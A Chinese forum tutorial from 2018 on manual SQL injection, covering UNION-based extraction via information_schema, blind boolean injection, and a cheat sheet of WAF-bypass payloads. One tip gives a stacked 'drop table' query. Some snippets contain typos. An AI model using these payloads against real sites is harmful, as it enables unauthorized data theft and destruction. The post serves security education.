用户
搜索
  • TA的每日心情
    难过
    2018-2-2 00:17
  • 签到天数: 3 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋作家

    Fplyth0ner

    Rank: 7Rank: 7Rank: 7

    13

    主题

    75

    帖子

    151

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2016-4-11

    i春秋签约作者

    发表于 2018-8-17 13:41:11 66744
    本帖最后由 降龙 于 2018-8-17 06:03 编辑

    0x01 前言


    SQL注入,危害性也不用多说了,老生常谈,经典hack技术之一,但是我在写此篇文章不久之前,一直没有好好的对SQL注入原理

    进行深度的探索,导致对于Bypass方面不敢染指。花了半个月的时间,从最基础的MySQL数据库操作到手注实战,重新学习,感悟颇深,习得颇多,本着对技术分享的精神,xLO1sLTfuOU=,也为了让更多的人真正融入到信安知识殿堂的大圈子,在这篇文章中,带领读者更加深入的了解SQL注入技术。

    sqlmap.png




    0x02 最简单的SQL注入


    这里我们用到某安全的一个SQL手工注入靶站进行讲解,是一个经典的注入点。

    初始.png

    1. ORDER BY


    第一步,大家会使用ORDER BY对字段数进行检测,但ORDER BY在MySQL数据库中并不起到检测字段数的功能。


    首先我在本地数据库中,创建了一个名为sqltest的表,创建两个字段,可以看到,其中id字段属性为TINYINT无符号型、主键约束、自动排序;num字段属性为TINYINT无符号型。

    主键约束与MYSQL自动编号.png


    然后插入四个数据到num,并用ORDER BY指定其中的num列。


    order by应用.png


    ORDER BY num后,SELECT返回的查询结果由id字段数据正序排列变成了由num字段数据正序排列,ORDER BY的功能就是让查询结果根据指定的字段进行排序。

    那ORDER BY 1是什么原理呢?


    这时的1不是我们刚才所提到的字段,而是代表SELECT想查询的字段在查询语句中的位置。

    order by原理.png


    在这里使用ORDER BY 2和ORDER BY num返回的是一样的结果,所以,当我们在ORDER BY后面输入的数值大于SELECT查询的字段时,就会返回错误,页面也就不能正常的显示出来了。


    2. SELECT


    当用ORDER BY确定了这个注入点使用的SELECT语句查询的字段数为4个以后,用UNION SELECT 1,2,3,4查看哪个字段可以显示。


    select.png


    [AppleScript] 纯文本查看 复制代码
    /new_list.php?id=1 and 1=2 union select 1,2,3,4


    UNION,可以将前后的select语句查询的结果在一起输出。

    union.png


    但如果没有前面的 AND 1=2,让第一个SELECT语句失效的话,前面的查询结果就会覆盖后面的查询结果。
    我们已经知道SELECT的第二个和第三个字段可以输出到页面上。


    网站使用MySQL的时候,可以直接使用UNION SELECT 1,2,3....

    Access注入点必须加FROM指定表名

    在Oracle注入点使用SELECT 1,2,3..... FROM dual

    (dual表是一个Oracle伪表,设计这个表的目的,可能就是为了构造合法数据库查询语法格式)


    3. information_schema


    用过sqlmap的朋友们在注入asp站点和php站点,会发现执行过程截然不同,asp的网站大多数使用Access数据库,php一般都是MySQL的数据库,php的注入点直接可以读出数据库、表和列,而asp的则需要字典对表名和列名进行爆破。


    在MySQL中,存在着一个数据库,information_schema,它储存了MySQL数据库的结构和属性信息。

    information_schema库的全部表.png


    三个箭头指向的表,是sql注入中常用的数据表。


    information_schema.schemata表的全部列.png


    schemata表中储存了全部数据库的信息,schema_name字段储存了数据库名。

    information_schema.tables表的全部列.png


    tables表中储存了全部的数据表信息,table_schema字段储存了数据表所在的数据库名,table_name字段储存了数据表名。

    information_schema.columns表的全部列.png


    COLUMNS表中储存了全部的字段信息,table_name和table_schema字段和tables表中他们的含义是一样的,column_name字段储存了字段名。

    既然注入点可以传入数据库命令,为什么不用show命令直接查看数据库和数据表的表和字段信息,因为在现在测试的靶站上,不支持多条语句执行,show参数显示的信息也没法显示在页面上。所以当前只能使用联合查询,查看我们需要的数据。

    Tips:在代码审计中,PHP multi_query()函数支持多条语句执行,注入点中可以构造如下命令:


    [AppleScript] 纯文本查看 复制代码
    ?id=1;drop table admin-- oh


    2333333....


    SELECT命令后可以执行MySQL函数,DATABASE()查看当前数据库。

    mysqldatabase.png


    USER()查看当前用户。

    mysqluser.png


    有了上面的数据库基础以后,就可以用这个带回显的注入查询所有我们想查看的数据库数据了。


    exists.png


    EXISTS()函数可以检测出查询结果是否存在,如果information_schema库和其中的一些上述提到的表被禁用的话,图中的页面就不会正常返回了。上图中是没有被禁用的,这样我们才可以通过这个数据库快速的查询数据库结构。


    [SQL] 纯文本查看 复制代码
    and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema='数据库名' limit 0,1


    LIMIT限定返回的结果位置和条数,LIMIT 0,1是从第一条数据开始返回一条数据,LIMIT 2,2 是从第三条数据开始返回两条数据。

    limit.png


    WHERE后面的条件可以对查询的数据进行筛选,比如我想检索admin数据库中的全部表名:


    [SQL] 纯文本查看 复制代码
    select table_name from information_schema.tables where table_schema='admin'


    以此类推,直到查询出所有需要的数据。

    当然,对于ASP+Access的网站,我们就不能使用MySQL中的information_schema这个数据库了,Access中有msysobjects表,但如果权限不是足够大,不能利用这个表,也只能去逐一爆破了。


    0x03 盲注


    但有的时候,输入and 1=2时也会返回如下页面。

    1.png


    这个注入点是使用MSSQL数据库,但如果前面使用and 1=2,就会返回错误,如果不使用,就没法返回我们要看的数据,所以只能使用盲注。

    盲注技术是根据页面返回是否正常来判断数据内容的,因为没法看到SELECT查询的内容,所以不需要UNION进行联合查询了,需要一路使用AND。


    [SQL] 纯文本查看 复制代码
    and (select top 1 ascii(substring(username,n,1))>=num


    SUBSTRING()、SUBSTR()、MID(),他们的功能都是一样的,截取查询到的数据,从第n位字符开始从左往右取m位字符,因为这里我们需要测试这个字符是什么,所以取1位即可。


    ASCII()和ORD()一样,都是取字符串最左边一位的ASCII码(十进制),num的范围可以参考ASCII码表,用二分法进行判断。

    注:Access中使用ASC()

    ascii码表.jpg


    可以看到ASCII码表上并没有中文,如果存在中文数据,我们可以转换成范围更大的unicode编码进行判断。


    [SQL] 纯文本查看 复制代码
    and (select top 1 unicode(substring(username,n,1))>=num


    unicode编码范围.png




    0x04 Bypass


    下面奉上学习过程中总结的一些bypass技巧!


    绕过空格

    %20 %09 %0a %0b %0c %0d %a0 %00 /**/  /*!*/ tab键 两个空格

    例:

    [AppleScript] 纯文本查看 复制代码
    /new_list.php?id=1/**/and/**/1=2/**/union/**/select/**/1,2,3,4


    括号绕过空格(括号两端可以没有多余的空格)

    例:

    [SQL] 纯文本查看 复制代码
    select(user());

    [SQL] 纯文本查看 复制代码
    sleep(ascii(mid(database()from(1)for(1)))=109);


    引号绕过(使用16进制字符串)

    例:

    [SQL] 纯文本查看 复制代码
    select column_name from information_schema.tables where table_name="users";

    [SQL] 纯文本查看 复制代码
    select column_name from information_schema.tables where table_name=0x7573657273;

    逗号绕过

    例:

    [SQL] 纯文本查看 复制代码
    substr(database() form 1 for 1);
    mid(database() form 1 for 1);

    [SQL] 纯文本查看 复制代码
    union select 1,2

    等价于

    [SQL] 纯文本查看 复制代码
    union select * from (select 1)a join (select 2)b

    Tips:from后面要跟表;join连接符返回的是笛卡尔积表,所以可以放在from后面。


    [SQL] 纯文本查看 复制代码
    select ascii(mid(user(),1,1))=80 

    等价于

    [SQL] 纯文本查看 复制代码
    select user() like 'r%'

    Tips:like语句中,%可以代表任意字符串


    [SQL] 纯文本查看 复制代码
    select * from news limit 0,1

    等价于

    [SQL] 纯文本查看 复制代码
    select * from news limit 1 offset 0

    大于号小于号绕过

    greatest() 返回最大值,greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值

    least() 返回最小值,同上

    例:

    [SQL] 纯文本查看 复制代码
    greatest(ascii(mid(user(),1,1)),64)=64

    [SQL] 纯文本查看 复制代码
    select 1,table_name from information_schema.tables where table_name between 'a' and 'z';


    布尔运算符号绕过


    or ||

    and &&

    xor |

    not !


    绕过 union,select,where等关键词

    常用注释符:

    //,--,/**/,#,-- -, ;,%00,--a


    [SQL] 纯文本查看 复制代码
    U/**/NION SEL/**/ECT


    双关键词绕过

    如果WAF把检测到的关键词删除之后,再传入进数据库,可以使用如下方式绕过:

    uniunionon selselectect


    等价函数绕过

    hex(),bin() ==> ascii()

    sleep() ==> banechmark()

    例:

    [SQL] 纯文本查看 复制代码
    benchmark(1000000,md5('test'))


    concat_ws() ==> group_concat()

    mid()、substr() ==> substring()


    [SQL] 纯文本查看 复制代码
    strcmp(left('str',1), 0x69) = 1

    [SQL] 纯文本查看 复制代码
    strcmp(left(right('str',length('str')-1),1),0x70) = 1/0/-1

    检测第二位


    宽字节绕过

    replace():过滤 ' \ ,将 ' 转化为 \' ,将 \  转为 \\,将 " 转为 \" 。


    addslaches()

    GBK编码情况下:%df%5c%27

    非GBK编码;未转义\字符情况下:%5c%5c%27


    0x05 感悟


    SQL注入技术,博大精深,不要被工具限制了思维,懒惰了双手!

    sqlmap.png



    评分

    参与人数 1魔法币 +10 收起 理由
    zzconfig + 10 感谢发布原创作品,i春秋论坛因你更精彩!.

    查看全部评分

    攻防无绝对,技术无黑白
    学习一下~
    使用道具 举报 回复
    发表于 2018-8-17 17:03:36
    感谢大佬!
    使用道具 举报 回复
    发表于 2018-8-19 18:53:57
    厉害,谢谢大佬
    使用道具 举报 回复
    感谢分享
    使用道具 举报 回复
    发表于 2018-8-21 11:07:31
    大佬魔派 ,厉害了
    使用道具 举报 回复
    发表于 2018-8-22 10:37:29
    666666666666666666
    q 36222404 一起嗨啊
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册